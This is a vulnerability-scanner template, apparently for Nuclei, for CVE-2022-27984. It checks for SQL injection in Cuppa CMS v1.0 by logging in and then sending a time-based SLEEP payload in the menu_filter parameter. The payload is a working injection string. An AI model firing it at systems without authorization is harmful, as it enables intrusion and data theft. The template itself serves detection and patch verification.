Cuppa CMS v1.0 - SQL injection

id: CVE-2022-27984

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via the menu_filter parameter at /administrator/templates/default/html/windows/right.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Cuppa CMS that addresses the SQL injection vulnerability (CVE-2022-27984).
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27984
    - https://www.cuppacms.com/
    - http://cuppa.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27984
    cwe-id: CWE-89
    epss-score: 0.06922
    epss-percentile: 0.93323
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: time-based-sqli,cve,cve2022,sqli,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        @timeout: 20s
        POST /templates/default/html/windows/right.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        menu_filter=3'+AND+SLEEP(6)--+-&id=211&url=components%2Fmenu%2Fhtml%2Fedit.php&path=component%2Fmenu%2F%26menu_filter%3D3&uniqueClass=window_right_7526357

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "components/menu/classes/functions.php")'
        condition: and
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